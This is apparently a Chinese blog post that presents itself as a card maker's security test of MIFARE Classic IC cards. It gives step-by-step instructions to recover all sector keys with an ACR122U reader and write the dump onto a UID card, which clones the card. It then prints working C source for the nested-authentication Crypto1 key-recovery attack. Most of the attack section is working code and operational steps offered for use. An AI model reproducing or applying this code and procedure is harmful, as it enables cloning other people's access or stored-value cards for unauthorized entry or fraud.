从磁条卡到ID卡再到IC卡,安全性能不断提升,但现在连CPU卡都被破解了。作为设备厂家,我们需要不断提高自身的安全性能,对抗市面上各种解密设备。只有深入了解漏洞,才能更好地保护我们的用户信息。本文提供了一份针对漏洞IC卡的安全性能探测代码,使用ACR122U-A9硬件,IC卡加密了1到14扇区。然而,整个破解过程不超过3分钟,这再次说明了IC卡全扇区加密的重要性。我们必须不断提高自身的技术水平,以保护用户信息的安全。
连接ACR122U-A9读卡器,安装读卡器驱动程序,放上要探测的IC卡。
双击 ConsoleApplication1.exe程序开始运行。
等待3分钟左右程序运行完毕:
可看到IC卡各扇区各块的密钥。
软件目录生成一个带有卡片全部信息的文件。
打开UID卡读写软件,发卡器上放置UID卡。
点击连接读卡器,连接卡片,导入文件,点击写卡即可。
附上软件核心代码提供参考:
//! MiFare cracking, nested authentication, recover key, distance keys
/** @param e_sector Exploit sector (where the key is known from)
* @param a_sector The sector to crack
* @param t The mifare tag
* @param r The mifare reader
* @param d Revealed information about the nonce
* @param pk Possible Keys
* @param mode 'r' for recovery, 'd' for distance
* @param dumpKeysA Crack key A
* @return 0
*/
uint32_t mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce* d, pKeys* pk, char mode, bool dumpKeysA, void (*UpdateStatusMessage)(const char* status)) {
struct Crypto1State* pcs;
struct Crypto1State* revstate;
struct Crypto1State* revstate_start;
uint64_t lfsr;
// Possible key counter, just continue with a previous "session"
uint32_t kcount = pk->size;
uint32_t Nt;
uint8_t Nr[4] = { 0x00,0x00,0x00,0x00 }; // Reader nonce
uint8_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
uint8_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
uint8_t AuthEncPar[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
uint8_t ArEnc[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
uint8_t ArEncPar[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
uint8_t Rx[MAX_FRAME_LEN]; // Tag response
uint8_t RxPar[MAX_FRAME_LEN]; // Tag response
size_t RxLen;
uint32_t NtLast, NtProbe, NtEnc, Ks1, m;
int i;
// Prepare AUTH command
Auth[0] = (t.sectors[e_sector].foundKeyA) ? 0x60 : 0x61;
append_iso14443a_crc(Auth, 2);
// We need full control over the CRC
if (!nfc_configure(r.pdi, NDO_HANDLE_CRC, false)) {
nfc_perror(r.pdi, "nfc_configure");
return 0;
}
// Request plain tag-nonce
if (!nfc_configure(r.pdi, NDO_EASY_FRAMING, false)) {
nfc_perror(r.pdi, "nfc_configure");
return 0;
}
if (!nfc_initiator_transceive_bytes(r.pdi, Auth, 4, Rx, &RxLen)) {
UpdateStatusMessage("Error while requesting plain tag-nonce.");
return 0;
}
if (!nfc_configure(r.pdi, NDO_EASY_FRAMING, true)) {
nfc_perror(r.pdi, "nfc_configure");
return 0;
}
// Save the tag nonce (Nt)
Nt = bytes_to_num32(Rx, 4);
// Init the cipher with key {0..47} bits
if (t.sectors[e_sector].foundKeyA)
pcs = crypto1_create(bytes_to_num64(t.sectors[e_sector].KeyA, 6));
else
pcs = crypto1_create(bytes_to_num64(t.sectors[e_sector].KeyB, 6));
// Load (plain) uid^nt into the cipher {48..79} bits
crypto1_word(pcs, bytes_to_num32(Rx, 4) ^ t.uid, 0);
// Generate (encrypted) nr+parity by loading it into the cipher
for (i = 0; i < 4; i++) {
// Load in, and encrypt the reader nonce (Nr)
ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i];
ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]);
}
// Skip 32 bits in the pseudo random generator
Nt = prng_successor(Nt, 32);
// Generate reader-answer from tag-nonce
for (i = 4; i < 8; i++) {
// Get the next random byte
Nt = prng_successor(Nt, 8);
// Encrypt the reader-answer (Nt' = suc2(Nt))
ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ (Nt & 0xff);
ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt);
}
// Finally we want to send arbitrary parity bits
nfc_configure(r.pdi, NDO_HANDLE_PARITY, false);
// Transmit reader-answer
if ((!nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, &RxLen, RxPar)) || (32 != RxLen)) {
UpdateStatusMessage("Reader-answer transfer error, exiting..");
return 0;
}
// Decrypt the tag answer and verify that suc3(Nt) is At
Nt = prng_successor(Nt, 32);
if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num32(Rx, 4)) == (Nt & 0xFFFFFFFF))) {
UpdateStatusMessage("[At] is not Suc3(Nt), something is wrong, exiting..");
return 0;
}
// If we are in "Get Recovery" mode
if ('r' == mode) {
// Again, prepare the Auth command with MC_AUTH_A, recover the block and CRC
Auth[0] = dumpKeysA ? 0x60 : 0x61;
Auth[1] = a_sector;
append_iso14443a_crc(Auth, 2);
// Encryption of the Auth command, sending the Auth command
for (i = 0; i < 4; i++) {
AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i];
// Encrypt the parity bits with the 4 plaintext bytes
AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]);
}
if (!nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, &RxLen, RxPar)) {
UpdateStatusMessage("Error requesting encrypted tag-nonce.");
return 0;
}
// Save the encrypted nonce
NtEnc = bytes_to_num32(Rx, 4);
// Parity validity check
for (i = 0; i < 3; ++i)
d->parity[i] = (oddparity(Rx[i]) != RxPar[i]);
// Iterate over Nt-x, Nt+x
// fprintf(stdout, "Iterate from %d to %d\n", d->median-TOLERANCE, d->median+TOLERANCE);
NtProbe = prng_successor(Nt, d->median - d->tolerance);
for (m = d->median - d->tolerance; m <= d->median + d->tolerance; m += 2) {
// Try to recover the keystream1
Ks1 = NtEnc ^ NtProbe;
// Skip this nonce after invalid 3b parity check
revstate_start = NULL;
//int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t * parity) {
if ((odd_parity((NtProbe >> 24) & 0xFF) == ((d->parity[0]) ^ odd_parity((NtEnc >> 24) & 0xFF) ^ BIT(Ks1, 16))) & \
(odd_parity((NtProbe >> 16) & 0xFF) == ((d->parity[1]) ^ odd_parity((NtEnc >> 16) & 0xFF) ^ BIT(Ks1, 8))) & \
(odd_parity((NtProbe >> 8) & 0xFF) == ((d->parity[2]) ^ odd_parity((NtEnc >> 8) & 0xFF) ^ BIT(Ks1, 0)))) {
//if (valid_nonce(NtProbe, NtEnc, Ks1, d->parity)) {
// And finally recover the first 32 bits of the key
revstate = lfsr_recovery32(Ks1, NtProbe ^ t.uid);
if (NULL == revstate_start)
revstate_start = revstate;
while ((revstate->odd != 0x0) || (revstate->even != 0x0)) {
lfsr_rollback_word(revstate, NtProbe ^ t.uid, 0);
crypto1_get_lfsr(revstate, &lfsr);
// Allocate a new space for keys
if (((kcount % MEM_CHUNK) == 0) || (kcount >= pk->size)) {
pk->size += MEM_CHUNK;
// fprintf(stdout, "New chunk by %d, sizeof %lu\n", kcount, pk->size * sizeof(uint64_t));
pk->possibleKeys = (uint64_t*)realloc((void*)pk->possibleKeys, pk->size * sizeof(uint64_t));
if (NULL == pk->possibleKeys) {
UpdateStatusMessage("Memory allocation error for pk->possibleKeys.");
return 0;
}
}
pk->possibleKeys[kcount] = lfsr;
kcount++;
revstate++;
}
free(revstate_start);
}
NtProbe = prng_successor(NtProbe, 2);
}
// Truncate
if (0 != kcount) {
pk->size = --kcount;
if (NULL == (pk->possibleKeys = (uint64_t*)realloc((void*)pk->possibleKeys, pk->size * sizeof(uint64_t)))) {
UpdateStatusMessage("Memory allocation error for pk->possibleKeys.");
return 0;
}
}
} // If we are in recovery mode
// If we are in "Get Distances" mode
else if ('d' == mode) {
for (m = 0; m < d->num_distances; m++) {
// Encrypt Auth command with the current keystream
for (i = 0; i < 4; i++) {
AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i];
// Encrypt the parity bits with the 4 plaintext bytes
AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]);
}
// Sending the encrypted Auth command
if (!nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, &RxLen, RxPar)) {
UpdateStatusMessage("Error requesting encrypted tag-nonce.");
return 0;
}
// Decrypt the encrypted auth
if (t.sectors[e_sector].foundKeyA) {
pcs = crypto1_create(bytes_to_num64(t.sectors[e_sector].KeyA, 6));
}
else {
pcs = crypto1_create(bytes_to_num64(t.sectors[e_sector].KeyB, 6));
}
NtLast = bytes_to_num32(Rx, 4) ^ crypto1_word(pcs, bytes_to_num32(Rx, 4) ^ t.uid, 1);
// Save the determined nonces distance
d->distances[m] = nonce_distance(Nt, NtLast);
// Again, prepare and send {At}
for (i = 0; i < 4; i++) {
ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i];
ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]);
}
Nt = prng_successor(NtLast, 32);
for (i = 4; i < 8; i++) {
Nt = prng_successor(Nt, 8);
ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ (Nt & 0xFF);
ArEncPar[i] = filter(pcs->odd) ^ oddparity((uint8_t)Nt);
}
nfc_configure(r.pdi, NDO_HANDLE_PARITY, false);
if ((!nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, &RxLen, RxPar)) || (RxLen != 32)) {
UpdateStatusMessage("Reader-answer transfer error, exiting..");
return 0;
}
Nt = prng_successor(Nt, 32);
if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num32(Rx, 4)) == (Nt & 0xFFFFFFFF))) {
UpdateStatusMessage("[At] is not Suc3(Nt), something is wrong, exiting..");
return 0;
}
} // Next auth probe
// Find median from all distances
d->median = median(*d);
//fprintf(stdout, "Median: %05d\n", d->median);
} // The end of Get Distances mode
crypto1_destroy(pcs);
return 0;
}